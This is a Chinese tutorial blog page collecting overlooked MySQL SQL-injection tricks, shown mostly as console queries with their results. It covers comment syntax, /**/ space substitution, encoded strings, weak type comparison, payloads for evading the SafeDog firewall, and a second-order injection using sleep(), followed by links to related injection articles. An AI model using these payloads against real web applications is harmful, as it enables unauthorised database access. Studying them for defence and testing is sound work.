那些容易被忽略、容易被弄错的地方

sql注入时的技巧
=========================================================================
* 如果单引号被转义,在当前数据库采用GBK编码的前提下,可以考虑双字节注入。 * 注释符的正确用法
“-- ”才是mysql中的注释,注意后面有个空格
mysql> select user() from (select 1)x where '1'='1';-- '
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec) “#”注释,后面接不接空格无所谓
mysql> select user() from (select 1) x where '1'='1';#'
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec) * 用/**/替代空格
mysql> select/**/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec) * sql语句中字符串转义
- mysql> select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 );
+-------------------------------------------------------------------+
| char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) |
+-------------------------------------------------------------------+
| /tmp/f_user.txt |
+-------------------------------------------------------------------+
1 row in set (0.00 sec) - mysql> select concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) ;
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| /tmp/f_user.txt |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec) # utf-8
- mysql> select unhex('E6B8B8E5AEA2');
+-----------------------+
| unhex('E6B8B8E5AEA2') |
+-----------------------+
| 游客 |
+-----------------------+
1 row in set (0.00 sec) * 数字和字符的比较,类似php中的弱类型
- mysql> select '10asfasfdeasdfasdf'=10;
+-------------------------+
| '10asfasfdeasdfasdf'=10 |
+-------------------------+
| 1 |
+-------------------------+ - mysql> select '0esfsadf'=0;
+--------------+
| '0esfsadf'=0 |
+--------------+
| 1 |
+--------------+ * 绕过安全狗
** 正则绕过
- select 1/*!50000union/*!*//*!50000select/*!*/2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+ - mysql> select/*/#\*/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec) * 多个单引号相连时,最外层两个孤独单引号配对闭合,中间的连续偶数个单引号中每两个一组换算成一个。
- mysql> select '123''';
+------+
| 123' |
+------+
| 123' |
+------+
1 row in set (0.00 sec) - mysql> select '123''''';
+-------+
| 123'' |
+-------+
| 123'' |
+-------+ - mysql> select user from mysql.user where user='nickname'' and password=' or sleep(0.1);#'
Empty set (1.00 sec)
此特点可以引发“二次注入”,比如,注册用户时输入昵称{nickname'},被转义为{nickname\'}但在插入到数据库后被还原,
那么在需要将昵称作为查询条件的页面中就存在二次注入,另一个条件字段的值为{ or 0=sleep(1);#}即可触发。

  

sql注入时易被忽略的语法技巧以及二次注入的更多相关文章

  1. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  2. sql手工注入时的探测技巧汇总

    工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 =================================================== ...

  3. sql SELECT时的with(nolock)选项说明

    I used to see my senior developers use WITH (NOLOCK) when querying in SQL Server and wonder why they ...

  4. 转:sql SELECT时的with(nolock)选项说明

    I used to see my senior developers use WITH (NOLOCK) when querying in SQL Server and wonder why they ...

  5. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  6. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  7. Python连接MySQL数据库执行sql语句时的参数问题

    由于工作需要,今天写了一个Python小脚本,其中需要连接MySQL数据库,在执行sql命令时需要传递参数,结果出问题了.在网上查了一下,发现有以下几种方式传递参数: 一.直接把sql查询语句完整写入 ...

  8. ASPNETCOREAPI 跨域处理 SQL 语句拼接 多条件分页查询 ASPNET CORE 核心 通过依赖注入(注入服务)

    ASPNETCOREAPI 跨域处理 AspNetCoreApi 跨域处理 如果咱们有处理过MV5 跨域问题这个问题也不大. (1)为什么会出现跨域问题:  浏览器安全限制了前端脚本跨站点的访问资源, ...

  9. sql查询时增加自动编号和分页

    查询时加序号 a:没有主键的情形: ,) as iid,* into #tmp from TableName Select * from #tmp Drop table #tmp b:有主键的情形: ...

随机推荐

  1. 阿里云yum源安装

      1.先清理掉yum.repos.d下面的所有repo文件 [root@localhost yum.repos.d]# rm -rf * 2.下载repo文件  wget http://mirror ...

  2. [原创]下拉框控件react-native-modal-dropdown更新历程

    前言 不知不觉从今年9月发布第一版控件到现在已经快3个月了 过去不断从开源社区索取,一直一直想着有机会一定要回报

  3. heredoc技术

    Heredoc技术,在正规的PHP文档中和技术书籍中一般没有详细讲述,只是提到了这是一种Perl风格的字符串输出技术.但是现在的一些论坛程序,和部分文章系统,都巧妙的使用heredoc技术,来部分的实 ...

  4. [No0000AE]在 Visual Studio 中调试 XAML 设计时异常

    在 Visual Studio 中进行 WPF, UWP, Silverlight 开发时,经常会遇到 XAML 设计器由于遭遇异常而无法正常显示设计器视图的情况.很多时候由于最终生成的项目在运行时并 ...

  5. android文件的写入与读取---简单的文本读写context.openFileInput() context.openFileOutput()

      最终效果图,点击save会保存到文件中,点击show会从文件中读取出内容并显示. main.xml <?xml version="1.0" encoding=" ...

  6. 图片下方出现多3px的原因及解决方法

    产生原因:主要是因为图片的垂直对齐方式vertical-align引发的,默认值是baseline,默认为此值时图片下方就会多出3px. 解决方案: 1.将图片的垂直对齐方式vertical-alig ...

  7. PIC12F508/505/509/510/506/519/526/527单片机破解芯片解密方法!

    IC芯片解密PIC12F508/505/509/510/506/519/526/527单片机破解 单片机芯片解密型号: PIC12F508解密 | PIC12F505解密 | PIC12F506解密  ...

  8. [LeetCode] Reconstruct Original Digits from English 从英文中重建数字

    Given a non-empty string containing an out-of-order English representation of digits 0-9, output the ...

  9. 支持同步滚动的RichTextbox控件

    using System.Windows.Forms; public class SynchronizedScrollRichTextBox : System.Windows.Forms.RichTe ...

  10. 【Git】关于VSCode 内置Git问题

    VSCode的内置git是自动关联本机git的, 所以当提交代码时,VSCode提示[警告:请配置git用户名和账户]时, 只需要在git bash 端配置git config --gobal use ...